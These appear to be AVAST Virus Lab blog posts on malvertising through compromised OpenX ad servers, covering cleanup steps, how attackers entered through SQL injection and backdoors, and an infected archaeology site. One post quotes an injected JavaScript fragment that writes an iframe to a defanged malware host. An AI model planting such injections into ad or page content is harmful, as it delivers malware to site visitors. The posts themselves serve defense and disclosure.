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January 13th, 2014

How to clean your hacked OpenX server

cleanup_noframeChristmas is a time of peace, but it does not apply to hackers and creators of malware. In the middle of the holidays, the AVAST Virus Lab found a new type of infection targeting advertisement servers with OpenX installed. Unfortunately, the only antivirus detecting this threat is avast! which leads to the erroneous conclusion that there is a false positive on our side, but it is actual danger.

This infection is called JS:Redirector-BJB or JS:Redirector-BJC and it has been confirmed on 930 servers running OpenX over the world. This means that at least 130 thousand people are saved by avast! from malware infection in advertisements every day, so please be reasonable and update your server as soon as possible.

Infection and consequences for users visiting a malicious website are described in our recent post about malvertising, but today let’s look at how to successfully clean, update, and secure your application. Below are the top 5 most visited and infected sites. Is yours on this list?

  1. pub.akinator.com
  2. ads.locafilm.com
  3. ads.novsport.com
  4. ads.svetplus.com
  5. 116.66.206.132

If you are using OpenX or Revive AdServer’s prior version 3.0.2 your system is vulnerable!

Below you can find a few steps that will lead you through cleaning, but updating to the latest version of Revive AdServer is necessary. Otherwise your server will still have known security flaws.

backup1. Backup Files – Download all files from FTP to your computer and scan them with antivirus. If any of the files are marked as a threat, delete it from FTP instantly. If it is possible, also backup your database to ensure calm upgrading.

check2. Check for Backdoor - Search FTP for files that do not belong there. You can find them by their date of creation (file with different date than others in the directory) or by obfuscated content in source files. You can also compare your source codes with official installation and reveal newly added files. If you are using OpenX version 2.8.10, delete file “flowplayer-3.1.1.min.js” because it contains a backdoor.

cleandb3. Clean the Database – The first step is to change passwords both for admin and for database, and also check if there are no unknown users. This will ensure no disturbance during the cleaning process. Next, you must examine tables “Banners” and “Zones” in the database. Find and delete any malicious javascript located there. Usually its located in “Append” or “Prepend” fields. The last step is to update the new database password in config, because it will be needed during the upgrade.

upgrade4. Upgrade Application – Download the latest version of Revive AdServer to your hard drive. OpenX changed its name in summer 2013 so the newest version can be downloaded only from link above. Follow the steps that you find in the article from the official pages about upgrading OpenX or Revive AdServer application.

secure5. Secure Server – After the upgrade you have only a few things to do. Check that the database and all users have their password unbreakable. Do not use any passwords from before. Do not leave any installation or old files on FTP. Change the password to the FTP because hackers could discover it too.

Someone might think “upgrading must help solve my problem,” but that’s unfortunately not true. In this and as well in many other cases, website administrators and owners must perform the described steps in order to get rid of the infection completely. Do not forget to change all passwords.

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Categories: How to, lab, Virus Lab Tags: , ,
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November 14th, 2013

Malvertising and OpenX servers

Monster-iconMalvertising is an abbreviation of malicious advertising and means that legitimate sites spread malware from their infected advertisement systems. There were many malvertising campaigns in last few years, some of them confirmed even on big sites like The New York Times, but most of them go unnoticed because they are well hidden and served only to selected users. Earlier this year, one of our top analysts found a stealth infection on a Czech entertainment site and began to watch it. We were able to obtain source code from infected sites, and I would like to show you how easily hacking is done and what can be done to secure your server.

In this case all infected servers contained OpenX (open source solution for advertisement) which has a rich history of vulnerabilities. Look, for example, at last three versions.

  • In version 2.8.9 and previous versions there was a SQL injection
  • Version 2.8.10 contained a hidden backdoor that allowed remote PHP execution
  • The latest version 2.8.11 offers more security, but there are known vulnerabilities

In summer 2013, OpenX was re-branded as Revive Adserver and several security flaws were patched. I strongly recommend you update to the latest version (currently 3.0.0) to secure your advertisement solution from being misused by hackers.

How do they get in?

An analysis of infected web pages revealed that the attacker used SQL injection to obtain administrator log ins and passwords from the database. Then he used credentials to log in and exploited another flaw to upload a backdoor with executable extension. Actually there were more backdoors and PHP scripts hidden in various places suggesting that this server was attacked multiple times.

mv-files

This picture shows all scripts and their dates of creation found on the infected page. The first three files are backdoors and tools for server control. The last two files are different; they serve as an interface to the database.

Files “inj” and “minify” seem to be two versions of the same script, which connects to the database and either removes injected scripts or add new ones. The result of this modification is an iframe appended to advertisement banners. The picture below shows a SQL query used to insert malicious java-script.

mv-sqlThe described infection is really hard to trace, because it’s not present on the server all the time, but only in predefined times and shows only to users coming from specific zone. Read more…

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November 21st, 2011

Discover lost fortresses and modern malware

History fans  can do more than just learn about a vanished empire in the Sahara. When they visit Archaeology.org, the online publication of the Archaeological Institute of America, they can also pick up malware via an infected advertisement on the page.

“It’s a blackhole attack through advertisements, OpenX in this case,” confirmed Jiri Sejtko, senior virus analyst at the AVAST Virus Lab. “Here it is: OA_output['16'] += “<”+…. document.write(\’<”+”iframe src=\”hxxp://hdfh11.coom.in/main.php?page=423b262d0a1a9f70\”

OpenX is an open-source platform for exchanging advertisements. The blackhole toolkit is, in a nutshell, a system for delivering a wide range of malware. “It could be almost anything, for example a worm or fake antivirus,” added Jiri.

This latest bit of malware was uncovered by computer users researching the hotlinks on a recent National Geographic article http://news.nationalgeographic.com/news/2011/11/111111-sahara-libya-lost-civilization-science-satellites/ and the Discover magazine article Satellite Photos Show Ancient Saharan Fortresses of a Lost Empire. Read more…

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